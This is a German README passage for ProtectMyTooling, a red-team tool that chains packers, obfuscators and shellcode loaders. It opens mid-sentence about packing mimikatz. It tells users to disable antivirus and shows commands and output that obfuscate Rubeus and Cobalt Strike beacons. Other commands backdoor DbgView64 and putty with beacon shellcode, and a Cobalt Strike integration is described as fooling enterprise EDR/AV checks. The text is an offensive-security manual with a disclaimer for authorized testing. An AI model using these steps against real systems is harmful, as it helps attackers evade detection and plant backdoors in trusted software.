Das obige Beispiel übergibt zunächst `mimikatz.exe` an Hyperion zur Verschleierung, und dann wird das Ergebnis an UPX zur Komprimierung übergeben. Ergebnis: `UPX(Hyperion(file))`

## Funktionen

- Unterstützt mehrere verschiedene PE-Packer, .NET-Obfuskatoren, Shellcode-Lader/Builder
- Ermöglicht das Verketten von Packern, bei dem die Ausgabe eines Packers an den nächsten weitergegeben wird: `callobf,hyperion,upx` erzeugt das Artefakt `UPX(Hyperion(CallObf(file)))`
- Sammelt IOCs bei jedem Verschleierungsschritt, sodass Auditing & Anforderungen des Blue Teams erfüllt werden können
- Bietet die Möglichkeit, benutzerdefinierte Wasserzeichen in resultierende PE-Artefakte einzufügen – im DOS-Stub, in der Prüfsumme, als eigenständiger PE-Abschnitt, im Overlay der Datei
- Enthält ein praktisches Cobalt-Strike-Aggressor-Skript, das die Befehle `protected-upload` und `protected-execute-assembly` bereitstellt
- Einfache Befehlszeilennutzung

## Installation

**Dieses Tool wurde für die Verwendung unter Windows entwickelt, da die meisten Packer nativ auf diese Plattform abzielen.**

Einige Funktionen können jedoch auch unter Linux einwandfrei funktionieren; dennoch wird dieser Support nicht umfassend getestet. Bitte melden Sie Fehler und Probleme.

1. **Deaktivieren Sie zunächst Ihr Antivirenprogramm** und fügen Sie das Verzeichnis `contrib` zu den Ausschlüssen hinzu. Dieses Verzeichnis enthält Obfuskatoren und Schutzprogramme, die vom Antivirenprogramm erkannt und entfernt werden.
2. Klonen Sie dann dieses Repository.```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

**Linux**```
bash# ./install.sh

## Konfiguration

Um unterstützte Obfuskierer einzubinden, Standardoptionen zu ändern oder **ProtectMyTooling** auf den Pfad Ihrer Obfuskierer-ausführbaren Datei zu verweisen, müssen Sie die Konfigurationsdatei `config\ProtectMyTooling.yaml` anpassen.

Es gibt auch die Datei `config\sample-full-config.yaml`, die alle verfügbaren Optionen für alle unterstützten Packer enthält und als Referenz dient.

## Freundlicher Hinweis

- Wenn Ihr erzeugtes Binary abstürzt oder nicht wie erwartet läuft, versuchen Sie es mit einer anderen Packer-Kette.
- Packer garantieren keine Stabilität der erzeugten Binaries, daher kann ProtectMyTooling dies auch nicht.
- Verkettung: Achten Sie sorgfältig darauf, dass die Ausgabe- und Eingabe-Payload-Formate den Erwartungen des jeweils nächsten Packers entsprechen.

---

## Verwendung

Vor der ersten Verwendung von `ProtectMyTooling` ist es wichtig, die YAML-Konfigurationsdatei `ProtectMyTooling.yaml` des Programms anzupassen. Die Reihenfolge der Parameterverarbeitung ist wie folgt:

- Zuerst werden Standardparameter verwendet
- Dann werden sie durch Werte aus der YAML-Datei überschrieben
- Schließlich überschreibt alles, was in der Befehlszeile angegeben wird, die entsprechenden Werte

Dort müssen die Pfade und Optionen der unterstützten Packer festgelegt werden, um sie zu aktivieren.

### Szenario 1: Einfache ConfuserEx-Obfuskierung

Die Verwendung ist sehr einfach: Es reicht, den Namen des zu wählenden Obfuskierers sowie die Pfade der Eingabe- und Ausgabedateien zu übergeben:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

[...]

### Szenario 3: Komplexe Malware-Verschleierung mit Wasserzeichen und IOCs-Sammlung

Der folgende Anwendungsfall nimmt `beacon.exe` als Eingabe und führt es nacheinander durch die Packer `CallObf` -> `UPX` -> `Hyperion`.

Dann wird das angegebene `fooobar`-Wasserzeichen in den DOS-Stub des endgültig erzeugten Ausgabe-Artefakts eingefügt und die Prüfsumme dieses Artefakts mit dem Wert `0xAABBCCDD` modifiziert.

Schließlich erfasst ProtectMyTooling alle IOCs (md5, sha1, sha256, imphash und andere Metadaten) und speichert sie in einer Hilfs-CSV-Datei. Diese Datei kann für den IOC-Abgleich verwendet werden, wenn sich das Engagement entfaltet.```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

## Unterstützte Packer

`ProtectMyTooling` wurde entwickelt, um nicht nur Obfuskatoren/Packer zu unterstützen, sondern auch alle Arten von Buildern/Generatoren/Shellcode-Ladern, die über die Befehlszeile verwendbar sind.

Derzeit unterstützt das Programm verschiedene kommerzielle und Open-Source-Packer/Obfuskatoren. Die Open-Source-Packer sind im Projekt enthalten.
Kommerzielle erfordern, dass der Benutzer das Produkt erwirbt und seinen Speicherort in der Datei `ProtectMyTooling.yaml` konfiguriert, damit das Skript sie finden kann.

1. [`Amber`](https://github.com/EgeBalci/amber) - Reflektiver PE-Packer, der EXE/DLL als Eingabe nimmt und EXE/PIC-Shellcode erzeugt
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - Ein leistungsstarker PE-Packer
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Ein Konsolen-Obfuskator für .NET-Assemblys von Charterino
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - Obfuskiert bestimmte Windows-APIs mit anderen APIs.
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - Beliebter .NET-Obfuskator, abgeleitet von [Martin Karing](https://github.com/mkaring)
6. [`Donut`](https://github.com/TheWover/donut) - Beliebter PE-Lader, der EXE/DLL/.NET als Eingabe nimmt und PIC-Shellcode erzeugt
7. [`Enigma`](https://enigmaprotector.com/) - Ein leistungsstarkes System zum umfassenden Schutz ausführbarer Dateien
8. [`Freeze`](https://github.com/optiv/Freeze) - Nimmt eine EXE/DLL-Datei als Eingabe und erzeugt eine Ausgabedatei mit geklontem Zertifikat, entfernten Golang-spezifischen IoCs und aufgeblähter Größe. Von Matt Eidelberg (@Tyl0us).
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - Laufzeitverschlüsseler für 32-Bit- und 64-Bit-portable ausführbare Dateien. Es ist eine Referenzimplementierung und basiert auf dem Paper „Hyperion: Implementation of a PE-Crypter“.
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - Kombiniert starke Lizenzen-Sicherheit, hochgradig anpassbare Lizenzierungsfunktionen/-Schema mit zuverlässigem Assembly-Schutz
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - Obfuskiert PowerShell-Skripte mit `Invoke-Obfuscation` (von Daniell Bohannon)
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - Ein fortgeschrittenerer freier und offener .NET-Obfuskator mit dnlib von AnErrupTion
13. [`Mangle`](https://github.com/optiv/Mangle) - Nimmt eine EXE/DLL-Datei als Eingabe und erzeugt eine Ausgabedatei mit geklontem Zertifikat, entfernten Golang-spezifischen IoCs und aufgeblähter Größe. Von Matt Eidelberg (@Tyl0us).
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - MPRESS-Kompressor von Vitaly Evseenko. Nimmt EXE/DLL/.NET/MAC-DARWIN (x86/x64) als Eingabe und komprimiert sie.
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - Unübertroffenes .NET-Code-Schutzsystem, das das Dekompilieren Ihres Codes vollständig verhindert
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - Ein EXE-Packer, auch bekannt als ausführbarer Kompressor, Anwendungspasswortschutz und virtueller DLL-Binder für Windows- & Linux-.NET-Anwendungen.
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Erzeugt Nim-Lader, der eingegebenes .NET, PE oder rohen Shellcode ausführt. Autor: [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - Nimmt Shellcode oder .NET ausführbare Datei als Eingabe, erzeugt EXE- oder DLL-Lader. Präsentiert von Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - Nimmt PE/Shellcode/.NET ausführbare Datei und erzeugt einen robusten Nim+Syscalls EXE/DLL-Lader. Sponsorware, authorisiert von [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - Wrapper um John Adams' `Packer64`
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - Konvertiert PE in einen Shellcode. Von niemand Geringerem als [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - Ein Multi-Pass-Encoder und heuristisches Sandbox-Umgehungs- und AV-Evasion-Tool
23. [`peresed`](https://github.com/avast/pe_tools) - Verwendet _"peresed"_ aus **avast/pe_tools**, um alle vorhandenen PE-Ressourcen und Signaturen zu entfernen _(denken Sie an das Mimikatz-Symbol)._
24. [`peunion`](https://bytecode77.com/pe-union) - Verschlüsselt ausführbare Dateien (x86 oder .NET x86/x64), die zur Laufzeit entschlüsselt und im Speicher ausgeführt werden
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - EDR-umgehender x64-Shellcode-Lader, der DLL/CPL/XLL/JScript/HTA-Artefakt-Lader erzeugt
26. [`sgn`](https://github.com/EgeBalci/sgn) - Shikata ga nai (仕方がない) Encoder, der mit mehreren Verbesserungen nach Go portiert wurde. Nimmt Shellcode und erzeugt codierten Shellcode
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - Obfuskator, der hilft, Ihre Anwendung vor Reverse-Engineering oder Modifikation zu schützen, indem es Dritten erschwert wird, auf Ihren Quellcode zuzugreifen
28. [`sRDI`](https://github.com/monoxgas/sRDI) - Wandelt DLLs in positionsunabhängigen Shellcode um. Autor: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - Fortschrittliches Windows-Software-Schutzsystem
30. [`UPX`](https://upx.github.io/) - Ein freier, portabler, erweiterbarer, leistungsstarker ausführbarer Packer für mehrere ausführbare Formate.
31. [`VMProtect`](https://vmpsoft.com/) - Schützt Code, indem er ihn auf einer virtuellen Maschine mit nicht standardmäßiger Architektur ausführt, was die Analyse und das Knacken der Software extrem erschwert.

Sie können unterstützte Packer schnell mit der Option `-L` auflisten (Tabellenspalten werden je nach Terminalbreite gewählt, je breiter, desto mehr Informationen werden angezeigt):```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

Es gibt auch einen eigenständigen Ansatz, der im Skript `RedWatermarker.py` enthalten ist.

Es nimmt ein ausführbares Artefakt als Eingabe und akzeptiert einige Parameter, die angeben, wo ein Wasserzeichen eingefügt werden soll und welcher Wert eingefügt werden soll.

Ein Beispielaufruf setzt die PE-Prüfsumme auf 0xAABBCCDD, fügt `foooobar` in den DOS-Stub der PE-Datei ein (Bytes mit _This program cannot be run..._), hängt `bazbazbaz` an das Overlay der Datei an, erstellt dann einen neuen PE-Abschnitt namens `.coco`, hängt ihn an das Ende der Datei an und füllt diesen Abschnitt mit einem vordefinierten Marker.```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

                  ;
                  ED.
                 ,E#Wi

Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

Derzeit wird nur das Watermarking von PE-Dateien unterstützt, aber in Zukunft sollen Office-Dokumente und andere Formate hinzugefügt werden.


### IOCs Collection

IOCs können gesammelt werden, indem einfach die Option `-i` im `ProtectMyTooling`-Lauf verwendet wird.

Sie werden in den folgenden Phasen gesammelt:

- bei der Eingabedatei
- nach jeder Verschleierungsrunde an einer Zwischendatei
- an der endgültigen Ausgabedatei

Sie enthalten die folgenden Felder, die in Form einer CSV-Datei gespeichert werden:

- `timestamp`
- `filename`
- `author` - gebildet als `username@hostname`
- `context` - ob ein Datensatz auf eine Eingabe-, Ausgabe- oder Zwischendatei verweist
- `comment` - Wert, der vom Benutzer über die Option `-I value` angepasst wird
- `md5`
- `sha1`
- `sha256`
- `imphash` - PE Imports Hash, falls verfügbar
- (TODO) `typeref_hash` - .NET TypeRef Hash, falls verfügbar

Das Ergebnis ist eine CSV-Datei mit dem Namen `outfile-ioc.csv`, die neben dem generierten Ausgabeartefakt gespeichert wird. Diese Datei wird im APPEND-Modus geschrieben, d.h. sie erhält alle nachfolgenden IOCs.


# RedBackdoorer - built-in PE Backdooring

`ProtectMyTooling` verwendet mein eigenes Skript `RedBackdoorer.py`, das einige Methoden zum Hintertür-Einbau in PE-Programme bereitstellt. Die Unterstützung erfolgt als dedizierter Packer namens `backdoor`. Beispielverwendung:

**Nimmt Cobalt-Strike-Shellcode als Eingabe, codiert mit SGN (Shikata Ga-Nai), baut dann eine Hintertür in SysInternals DbgView64.exe ein und erzeugt schließlich den Amber EXE Reflective Loader**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

# Cobalt Strike Integration

Es gibt auch ein Skript, das `ProtectMyTooling.py` integriert, das als Wrapper um konfigurierte PE/.NET-Packer/Schutzprogramme verwendet wird, um eingegebene ausführbare Dateien einfach in ihre geschützten und komprimierten Ausgabeformen umzuwandeln und sie dann von innerhalb von CobaltStrike hochzuladen oder zu verwenden.

Die Idee ist, einen automatisierten Prozess zum Schutz aller hochgeladenen Binärdateien oder .NET-Assemblys zu haben, die von execute-assembly verwendet werden, und das manuelle Schützen oder Obfuskieren vor jeder Nutzung zu vergessen. Der zusätzliche Vorteil eines automatisierten Ansatzes zur Transformation von ausführbaren Dateien ist die Fähigkeit, dieselbe ausführbare Datei jedes Mal geschützt zu haben, wenn sie verwendet wird, was zu eindeutigen Proben führt, die auf Zielmaschinen ausgeführt werden. Das sollte EDR/AV-unternehmensweite IOC-Überprüfungen, die nach demselben Artefakt auf verschiedenen Maschinen suchen, schön täuschen.

Zusätzlich hat der Befehl protected-execute-assembly die Fähigkeit, nach Assemblys zu suchen, von denen nur der Name in einem vorkonfigurierten Assembly-Verzeichnis (festgelegt in der Einstellung dotnet_assemblies_directory) angegeben wurde.

Um es zu verwenden:

1. Laden Sie `CobaltStrike/ProtectMyTooling.cna` in Ihr Cobalt Strike.
2. Gehen Sie zum Menü und richten Sie alle Optionen ein

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. Dann stehen in Ihrer Beacon-Konsole folgende Befehle zur Verfügung:

  * `protected-execute-assembly` - Führt ein lokales, zuvor geschütztes und komprimiertes .NET-Programm im Speicher auf dem Ziel aus.
  * `protected-upload` - Nimmt eine Eingabedatei, schützt sie, wenn es eine PE-Exe ist, und lädt diese Datei dann an den angegebenen entfernten Speicherort hoch.
  * `bofnet_load_protected` - Nimmt eine .NET-Assembly-Datei, leitet sie durch die konfigurierte .NET-Packer-Kette, lädt die generierte Ausgabe mit `bofnet_load`. [BOFNET](https://github.com/CCob/BOF.NET/) muss separat geladen werden, damit dies funktioniert.

Im Grunde genommen öffnen diese Befehle Eingabedateien, leiten sie zunächst an das Skript `CobaltStrike/cobaltProtectMyTooling.py` weiter, das wiederum `ProtectMyTooling.py` aufruft. Sobald die Binärdatei verschleiert ist, wird sie an Ihren Beacon zur Ausführung/Übertragung weitergeleitet.

## Optionen im Zusammenhang mit Cobalt Strike

Hier ist eine Liste der Optionen, die vom Cobalt Strike-Integrator benötigt werden:

* `python3_interpreter_path` - Geben Sie einen Pfad zur ausführbaren Datei des Python3-Interpreters an
* `protect_my_tooling_dir` - Geben Sie einen Pfad zum Hauptverzeichnis von ProtectMyTooling an
* `protect_my_tooling_config` - Geben Sie einen Pfad zur Konfigurationsdatei von ProtectMyTooling mit verschiedenen Packer-Optionen an
* `dotnet_assemblies_directory` - Geben Sie einen lokalen Pfad an, in dem nach .NET-Assemblys gesucht werden soll, wenn sie von execute-assembly nicht gefunden werden
* `cache_protected_executables` - Aktivieren, um bereits geschützte ausführbare Dateien zwischenzuspeichern und bei Bedarf wiederzuverwenden
* `protected_executables_cache_dir` - Geben Sie einen Pfad zu einem Verzeichnis an, das zwischengespeicherte geschützte ausführbare Dateien speichern soll
* `default_exe_x86_packers_chain` - Native x86 EXE-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_exe_x64_packers_chain` - Native x64 EXE-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_dll_x86_packers_chain` - Native x86 DLL-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_dll_x64_packers_chain` - Native x64 DLL-Ausführbare-Dateien-Schutzkette/Packer-Kette
* `default_dotnet_packers_chain` - .NET-Ausführbare-Dateien-Schutzkette/Packer-Kette

---

## Bekannte Probleme

- `ScareCrow` ist sehr knifflig unter Windows auszuführen. Was bei mir funktioniert hat, ist Folgendes:
  1. Führen Sie es unter Windows 10 aus und installieren Sie WSL (`bash.exe`-Befehl in Windows verfügbar)
  2. Installieren Sie `golang` in WSL in Version `1.16+` (getestet auf `1.18`)
  3. Stellen Sie sicher, dass `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True` gesetzt ist

---

## Danksagungen & verwendete Technologien

- Alle Credits für Packer, Obfuskierer, Konverter, Loader gehen an ihre Autoren. Dieses Tool ist lediglich ein Wrapper um ihre Technologie!
  - Hoffentlich hat keiner von ihnen etwas dagegen, dass ich solche Wrapper hinzufüge. Sollte es Bedenken geben - bitte kontaktieren Sie mich.

- _ProtectMyTooling_ verwendet auch [`denim.exe`](https://github.com/moloch--/denim) von **moloch--** für einige Nim-basierte Packer.

---

## TODO

- Schreiben Sie einen benutzerdefinierten PE-Injektor und bieten Sie ihn als "Schutzprogramm" an
- Fügen Sie Wasserzeichen zu anderen Dateiformaten wie Office-Dokumenten, WSH-Skripten (VBS, JS, HTA) und Containern hinzu
- Fügen Sie Unterstützung für einige weitere Packer/Loader/Generatoren in naher Zukunft hinzu:
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - zwei Varianten, eine für eingegebenen Shellcode, die andere für ausführbare Dateien

---

## Haftungsausschluss

Die Verwendung dieses Tools sowie aller anderen Projekte, deren Autor ich bin, für illegale Zwecke, unerwünschtes Hacken, Cyber-Spionage ist strengstens untersagt. 
Dieses und andere Tools, die ich verteile, helfen professionellen Penetrationstestern, Sicherheitsberatern, Sicherheitsingenieuren und anderem Sicherheitspersonal, die Cyber-Verteidigungsfähigkeiten ihrer Kundennetzwerke zu verbessern.  
In keinem Fall haften die Autoren oder Urheberrechtsinhaber für Ansprüche, Schäden oder andere Haftungen, die aus der illegalen Nutzung dieser Software entstehen.

Falls es Bedenken, Urheberrechtsprobleme, durch diese Software verursachte Bedrohungen oder andere Anfragen gibt - ich bin offen für eine Zusammenarbeit, um diese verantwortungsvoll zu behandeln.

Das Tool bietet eine praktische Oberfläche zur Nutzung von meist Open-Source- oder kommerziell erhältlichen Packern/Schutzprogrammen/Obfuskationssoftware und führt daher keine unmittelbaren neuen Bedrohungen für die Cybersicherheitslandschaft ein.

---

### ☕ Unterstützung zeigen ☕

